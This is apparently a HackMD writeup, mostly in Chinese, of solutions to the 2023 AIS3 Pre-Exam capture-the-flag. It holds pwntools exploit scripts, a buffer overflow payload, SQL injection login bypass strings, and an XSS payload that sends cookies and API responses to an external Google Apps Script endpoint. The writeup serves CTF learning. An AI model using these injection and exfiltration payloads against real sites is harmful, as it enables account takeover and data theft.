Try   HackMD

2023 AIS3 Pre-Exam Writeup

Misc

Welcome

​​​​Are you not a robot ?
​​​​FLAG Format: ^AIS3{[A-Z0-9+-*/!?-]+}$

​​​​Author: nella17

點開pdf,flag直接寫在上面了,一開始以為-是_結果浪費一堆時間

AIS3{WELC0ME-T0-2023-PRE-EXAM-&-MY-FIRST-CTF}

Robot

​​​​Are you a robot?

​​​​Note: This is NOT a reversing or pwn challenge. Don't reverse the 
​​​​binary. It is for local testing only. You will actually get the flag 
​​​​after answering all the questions. You can practice locally by running 
​​​​./robot AIS3{fake_flag} 127.0.0.1 1234 and it will run the service on 
​​​​localhost:1234.

​​​​Author: toxicpie

​​​​nc chals1.ais3.org 12348

機器人會問你三十題數學,可以直接寫Python用eval()解
在discord看到有人說直接用手解,牛皮

exploit code

import pwn import time io=pwn.remote("chals1.ais3.org",12348) print(io.recvuntil("!")) time.sleep(0.5) for i in range(30): print(f"solving..{i+1}") string=io.recv().decode() string=string.strip(" ").strip("\n") print(string,eval(string)) io.sendline(str(eval(string))) time.sleep(0.5) io.interactive()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}
被罵了

PWN

Simply Pwn

​​​​The simplest pwn

​​​​nc chals1.ais3.org 11111

經典buffer overflow

先用gdb觀察

ni到read附近

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

可以發現輸入變數存在rsi=rbp-0x50+0x9=rbp-0x47

所以必須墊0x47+8byte(RSP)+address,剛好可以覆蓋return address

return address要填甚麼卡超久以為要自己寫shellcode但我不會寫

最後info func才發現有一個叫shellcode的function超可疑

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

把地址填進去果然是shellcode

exploit code

import pwn io=pwn.remote("chals1.ais3.org",11111) payload=b"a"*(0x4f)+pwn.p64(0x4017a5) io.sendline(payload) io.interactive()

AIS3{5imP1e_Pwn_4_beGinn3rs!}

Web

Login Panel

​​​​Login Panel 網站採用了隱形 reCAPTCHA 作為防護機制,以確保只有人類的使用者能夠登入
​​​​admin 的帳號。你的任務是找到一個方法來繞過 reCAPTCHA,成功登入 admin 的帳號。

​​​​你可以使用各種技術和手段來達成目標,可能需要進行一些網站分析、程式碼解讀或其他形式的
​​​​攻擊。請注意,你需要遵守道德規範,不得進行任何非法或有害的行為。

​​​​當你成功登入 admin 的帳號後,你將能夠獲得 FLAG。請將 FLAG 提交至挑戰平台,以證明
​​​​你的成功。

​​​​Author: Ching367436

​​​​http://chals1.ais3.org:8000/

直接讀source code

db.get(`SELECT * FROM Users WHERE username = '${username}' AND password = '${password}'`

聞起來就很有SQL injection的味道

Bypass Login Page

注入username

username=' or 'a'='a

中計直接被Redirect到rickroll

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

ok不然改注password

username=admin&password=' or 'a'='a

成功進入之後還有2fa認證,要輸入2fa code才能進到dashboard看flag,但是仔細看其實驗證完之後他也只是redirect到/dashboard而已,所以直接存取/dashboard即可

AIS3{' UNION SELECT 1, 1, 1, 1 WHERE ({condition})}

E-Portfolio baby

​​​​AIS3 E-Portfolio 是一個學習成就展示平台,讓使用者可以建立並分享他們在 AIS3 的學習成果和專
​​​​案作品。其中,網站提供了一個「Share your portfolio with admin」的功能,讓使用者可以將自
​​​​己的作品集分享給管理員。

​​​​你需要找出一個前端漏洞,當你分享作品集給管理員時,能夠竊取 admin 的旗幟。你可以透過探索網站
​​​​的前端程式碼,找到適當的方式來觸發漏洞並取得旗幟。

​​​​請注意,你需要在漏洞設計中保持合法並遵循道德原則。請勿以任何方式傷害網站的正常運作或使用者的隱私。

​​​​對了,按下「Share your portfolio with admin」的按鈕的時候,admin 會去拜訪的頁面會是
​​​​http://url/share?username={按下那個按鈕的使用者名稱}。

​​​​Author: Ching367436

​​​​http://chals1.ais3.org:8880/

看到share to admin就知道這是csrf題目
先戳戳看

測試XSS

<script>alert()</script>

沒反應,因為寫上文字是使用innerHTML,所以對 <script> 標籤不起作用

if (data.success) { username.innerHTML = data.data.username about.innerHTML = data.data.about avatar.src = data.data.avatar } else { alert(data.message) }

<img src> 試試

<img src="123" onerror=alert()>


果然出現XSS

嘗試當cookie小偷

一開始的思路是當cookie小偷,然後用admin登入看flag藏在哪

<img src='' onerror=fetch('https://script.google.com/macros/s/\ AKfycbxFRZIq7zd9X5gpd9MNCIe9m6d_GwrT3kY9vkVH8hPXic7pbr-\ pW0B8vTj0lureCaOdOA/exec?\ text=cookie:'+encodeURI(document.cookie))>


因為有設定HTTP only所以偷不到cookie(後來發現偷到也沒用,flag不在admin的頁面裡面)

嘗試直接偷api內容

看sauce code會發現其實flag寫在admin的密碼裡面,然後密碼又透過api/portfolio傳遞

ok開偷

<img src="123" onerror="fetch('api/portfolio') .then(response =>response.text()).then(text=>{ var url= 'https://script.google.com/macros/s/\ AKfycbxFRZIq7zd9X5gpd9MNCIe9m6d_GwrT3kY9vkVH8hPXic7pbr-\ pW0B8vTj0lureCaOdOA/exec?text=' fetch(url+encodeURI(text)) })">


在瀏覽器上測試成功,但share to admin甚麼事都沒發生


網站沒有設定CSP,所以應該是機器人沒辦法訪問外網

嘗試寫入自己的page

沒辦法直接用webhook就變很複雜了

改變絲路:
偷到api/portfolio->登入自己的帳號->寫入textarea->儲存

創建登入form

<form id=form action="/api/login" method="post" target="_blank"> <input name="username" value="test123"> <input name="password" value="test"> </form>

先偷api/portfolio再submit表單切成自己帳號,最後改textarea、click save

<img src="123" onerror="fetch('http://web:8000/api/portfolio') .then(response =>response.text()).then(text=>{ form.submit() setTimeout(function() { console.log('123'); }, 1000); var win=window.open('http://web:8000/portfolio') setTimeout(() => { win.document.querySelector('textarea[id=about]').value = text; win.document.querySelector('button[id=save]').click() }, 1000) })">

AIS3{<img src=x onerror='fetch(}

Reverse

Simply Reverse

​​​​Just reverse it!

先執行看看

丟ghidra


這邊有一個verify函式判斷key是否正確

解題絲路

​​​​因為verify()的迴圈每跑一圈就會檢查一個char,一直到local_c=0x22 然後return true;
​​​​所以可以brute force 跑每個字元然後看迴圈有沒有炸掉

exploit code

import pwn import time io=pwn.process("gdb") io.sendline("file rev") io.sendline("start") io.sendline("b *0x5555555551fb") #把breakpoint 設在迴圈裏面,如果沒有停代表是錯的 io.recvrepeat(timeout=1) flag="AIS3{" while 1: for i in range(0x20,0x7E): print("trying..",flag+chr(i)) io.sendline(f"set args {flag+chr(i)}") io.sendline("run") for j in range(len(flag)+1): io.sendline("c") io.recvrepeat(timeout=0.3).decode() io.sendline("x/x $rbp-0x4") string=io.recv().decode() if "No" not in string: flag+=chr(i) break

AIS3{0ld_Ch@1_R3V1_fr@m_AIS32016!}

Crypto

Fernet

​​​​你所在的公司最近發生了一起駭客入侵事件,管理員發現駭客使用 Fernet 密碼學來加密了他們的敏感數據。
​​​​你需要解開被加密的檔案,否則事情就大條了!

​​​​flag format : FLAG{xxx}

​​​​Auther : Richard ( dogxxx)

看code

import os import base64 from cryptography.fernet import Fernet from Crypto.Hash import SHA256 from Crypto.Protocol.KDF import PBKDF2 from secret import FLAG def encrypt(plaintext, password): salt = os.urandom(16) key = PBKDF2(password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256) f = Fernet(base64.urlsafe_b64encode(key)) ciphertext = f.encrypt(plaintext.encode()) return base64.b64encode(salt + ciphertext).decode() # Usage: leak_password = 'mysecretpassword' plaintext = FLAG # Encrypt ciphertext = encrypt(plaintext, leak_password) print("Encrypted data:",ciphertext)

絲路

​​​​密碼都給你了所以反著解密就好了

加密流程是:產生salt->產生key->用key加密flag->把salt+ciphertext用base64 encode起來
所以其實salt也給你了就是base64 decode後的前16個char

decrypt code

解密流程:base64 decode->取得salt、ciphertext->用password、salt重建key->用key解密ciphertext

import os import base64 from cryptography.fernet import Fernet from Crypto.Hash import SHA256 from Crypto.Protocol.KDF import PBKDF2 cipher=''' iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0tTGQ4OUUzQXZhaU9HMmlO aC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOVA3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1Ja OGZLQ0E0WmVMSjZQTXN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj ''' cipher=cipher.encode() cipher=base64.b64decode(cipher) salt=cipher[:16] cipher=cipher[16:] print(salt) print(cipher) leak_password = 'mysecretpassword' key = PBKDF2(leak_password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256) f = Fernet(base64.urlsafe_b64encode(key)) plaintext=f.decrypt(cipher) print(plaintext)

FLAG{W3lc0m3_t0_th3_CTF_W0rld_!!!!!!}